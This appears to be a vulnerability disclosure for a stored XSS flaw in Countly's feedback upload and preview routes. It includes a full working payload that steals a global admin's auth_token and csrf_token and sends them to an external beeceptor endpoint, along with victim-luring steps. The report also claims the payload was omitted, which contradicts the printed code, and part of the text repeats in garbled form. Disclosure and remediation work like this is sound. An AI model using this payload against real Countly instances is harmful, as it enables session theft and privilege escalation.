Title: Stored XSS in feedback upload enables app-admin to compromise global admin session context
Summary:
A stored cross-site scripting vulnerability exists in the star-rating feedback upload and preview workflow. A user with lower privileges, specifically a non-global user who has write/admin access over a single application, can upload attacker-controlled HTML/JavaScript and have it served from a Countly-controlled origin through a public preview endpoint. If a higher-privileged user such as a global administrator opens the malicious preview URL, the payload executes in that administrator’s browser context and can perform authenticated actions as the victim. In practical terms, this creates a privilege-escalation path from app-level write access to effective global-admin compromise.
Vulnerability Details:
- Vulnerability Type: Stored Cross-Site Scripting leading to privilege escalation
- CVSS Base Score: 9.1
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
- Impact: A lower-privileged application administrator can plant a malicious payload that executes in Countly origin when viewed. If a global administrator opens the preview URL, the attacker can act with the global administrator’s browser privileges, including authenticated requests and access to exposed client-side authentication material such as
auth_token and csrf_token.
Affected Endpoints:
| # |
Endpoint |
Method |
Impact |
| 1 |
/i/feedback/upload |
POST |
Permits lower-privileged app admin to store attacker-controlled HTML/JS |
| 2 |
/feedback/preview/ |
GET |
Publicly serves stored attacker content with attacker-influenced Content-Type |
| 3 |
/ or /dashboard |
GET |
Used by executed payload to access victim session context and client-side tokens |
Payload used:
const htmlPayload = `<!DOCTYPE html>
<html>
<head><title>Exfil Debug</title></head>
<body>
<script>
(function() {
var BEE = "<https://test-xss.free.beeceptor.com>";
var TARGET = "<http://127.0.0.1:6001/>";
function sendDebug(status, len, middle, auth, csrf) {
var data = "status=" + encodeURIComponent(status) +
"&len=" + encodeURIComponent(len) +
"&middle=" + encodeURIComponent(middle) +
"&auth=" + encodeURIComponent(auth) +
"&csrf=" + encodeURIComponent(csrf);
if (navigator.sendBeacon) {
navigator.sendBeacon(BEE, data);
} else {
fetch(BEE, { method: "POST", body: data, keepalive: true, mode: "no-cors" });
}
}
var xhr = new XMLHttpRequest();
xhr.open("GET", TARGET, false);
try {
xhr.send();
var html = xhr.responseText;
var len = html.length;
// Get a slice around where tokens should be (adjust if needed)
var startPos = 10000;
var endPos = Math.min(12000, len);
var middle = (len > startPos) ? html.substring(startPos, endPos) : "too short";
// Extract tokens
var auth = "", csrf = "";
var authIdx = html.indexOf('countlyGlobal["auth_token"]');
if (authIdx !== -1) {
var start = html.indexOf('"', authIdx + 26);
var end = html.indexOf('"', start + 1);
if (start !== -1 && end !== -1) auth = html.substring(start + 1, end);
}
var csrfIdx = html.indexOf('countlyGlobal["csrf_token"]');
if (csrfIdx !== -1) {
var start = html.indexOf('"', csrfIdx + 26);
var end = html.indexOf('"', start + 1);
if (start !== -1 && end !== -1) csrf = html.substring(start + 1, end);
}
sendDebug(xhr.status, len, middle, auth, csrf);
} catch(e) {
sendDebug("error", "0", e.message, "", "");
}
})();
<\/script>
</body>
</html>`;
const fd = new FormData();
fd.append("file", new File([htmlPayload], "ui-alert-2.html", { type: "text/html" }));
fetch("<http://127.0.0.1:3001/i/feedback/upload?api_key=0895a67db557dfedaa194cf5d2e8c554&app_id=69e54a4f1c0567c474324a8e&name=ui-alert-2.html>", {
method: "POST",
body: fd
})
.then(r => r.text())
.then(console.log)
.catch(console.error);
please make sure you run this payload from your console as lower privilage.
Steps to reproduce:
-
Log in with a user that is not a global administrator but has administrative/write access to a target application.
-
run the payload in your console.
-
Confirm the upload succeeds.
-
Send this link to victim to open /feedback/preview/<uploaded filename> in a browser.
-
Observe that the uploaded HTML is rendered as active HTML rather than inert file content.
-
Send the preview URL to a higher-privileged user, such as a global administrator.
-
When the global administrator opens the preview URL, the payload executes in the Countly origin and can access the victim’s authenticated browser context.
-
During validation, the executed payload was able to read exposed auth_token and csrf_token values from the application context, demonstrating that a malicious app admin can pivot into actions as the viewing global administrator.
Technical details
File: plugins/star-rating/api/api.js
function uploadFeedbackFile(myname, myfile) {
return new Promise(function(resolve, reject) {
var tmp_path = myfile.path;
var type = myfile.type;
...
fs.readFile(tmp_path, (err, data) => {
...
var data_uri_prefix = "data:" + type + ";base64,";
var buf = Buffer.from(data);
var image = buf.toString('base64');
image = data_uri_prefix + image;
countlyFs.gridfs.saveData("feedback", myname, image, {id: myname, writeMode: "overwrite"}, function(err2) {
plugins.register("/i/feedback/upload", function(ob) {
...
validateUpdate(params, "global_plugins", function() {
...
uploadFeedbackFile(params.qstring.name, params.files.file).then(function() {
common.returnOutput(params, {"result": "Success"});
File: plugins/star-rating/frontend/app.js
app.get(countlyConfig.path + '/feedback/preview/*', function(req, res/*, next*/) {
...
countlyFs.gridfs.getDataById("feedback", req.params[0], function(err, data) {
...
var dd = data.split(',');
var img = Buffer.from(dd[1], 'base64');
res.writeHead(200, {
'Content-Type': dd = dd[0].substr(5, dd[0].length - 12),
'Content-Length': img.length
});
File: api/utils/rights.js
var hasAdminAccess = (typeof member.permission === "object" && typeof member.permission._ === "object" && typeof member.permission._.a === "object") && member.permission._.a.indexOf(params.qstring.app_id) > -1;
if (!(isFeatureAllowedInRelatedPermissionObject) && !(hasAdminAccess)) {
common.returnMessage(params, 401, 'User does not have right');
Payload used during validation
A proof-of-concept HTML payload was used during validation. For safety, the exact exfiltration payload is omitted from this report, but its logic was:
- Execute JavaScript inside the Countly origin from the preview page.
- Request a Countly page in the victim’s authenticated browser context.
- Parse the returned HTML/JS for client-side exposed authentication values, specifically
countlyGlobal["auth_token"] and countlyGlobal["csrf_token"].
- Send the extracted values to an external collection endpoint for verification.
Root cause analysis
The vulnerability is caused by the combination of the following design and implementation flaws:
- The upload handler accepts arbitrary file content and trusts the client-supplied MIME type (
myfile.type) without validating the file as a safe media type.
- The uploaded content is stored as a
data: URI that preserves the attacker-controlled MIME type.
- The preview route extracts the stored MIME type and reflects it directly into the HTTP
Content-Type response header.
- The preview route is publicly reachable and does not require authentication.
- Authorization on the upload route is broader than expected. The route is accessible not only to global administrators but also to any user with administrative/write access to the supplied
app_id.
This means the attacker role required to plant the payload is comparatively low. A non-global app administrator can store active HTML/JavaScript, and the application itself later serves that attacker content from a trusted Countly origin.
Recommendation
- Reject all active content types for feedback uploads, including
text/html, application/xhtml+xml, image/svg+xml, XML-based types, and any content not validated as a safe image format.
- Do not trust the client-supplied MIME type. Detect and enforce file type server-side using file signature/content validation.
Title: Stored XSS in feedback upload enables app-admin to compromise global admin session context
Summary:
A stored cross-site scripting vulnerability exists in the
star-ratingfeedback upload and preview workflow. A user with lower privileges, specifically a non-global user who has write/admin access over a single application, can upload attacker-controlled HTML/JavaScript and have it served from a Countly-controlled origin through a public preview endpoint. If a higher-privileged user such as a global administrator opens the malicious preview URL, the payload executes in that administrator’s browser context and can perform authenticated actions as the victim. In practical terms, this creates a privilege-escalation path from app-level write access to effective global-admin compromise.Vulnerability Details:
auth_tokenandcsrf_token.Affected Endpoints:
Payload used:
please make sure you run this payload from your console as lower privilage.
Steps to reproduce:
Log in with a user that is not a global administrator but has administrative/write access to a target application.
run the payload in your console.
Confirm the upload succeeds.
Send this link to victim to open
/feedback/preview/<uploaded filename>in a browser.Observe that the uploaded HTML is rendered as active HTML rather than inert file content.
Send the preview URL to a higher-privileged user, such as a global administrator.
When the global administrator opens the preview URL, the payload executes in the Countly origin and can access the victim’s authenticated browser context.
During validation, the executed payload was able to read exposed
auth_tokenandcsrf_tokenvalues from the application context, demonstrating that a malicious app admin can pivot into actions as the viewing global administrator.Technical details
File: plugins/star-rating/api/api.js
File: plugins/star-rating/frontend/app.js
File: api/utils/rights.js
Payload used during validation
A proof-of-concept HTML payload was used during validation. For safety, the exact exfiltration payload is omitted from this report, but its logic was:
countlyGlobal["auth_token"]andcountlyGlobal["csrf_token"].Root cause analysis
The vulnerability is caused by the combination of the following design and implementation flaws:
myfile.type) without validating the file as a safe media type.data:URI that preserves the attacker-controlled MIME type.Content-Typeresponse header.app_id.This means the attacker role required to plant the payload is comparatively low. A non-global app administrator can store active HTML/JavaScript, and the application itself later serves that attacker content from a trusted Countly origin.
Recommendation
text/html,application/xhtml+xml,image/svg+xml, XML-based types, and any content not validated as a safe image format.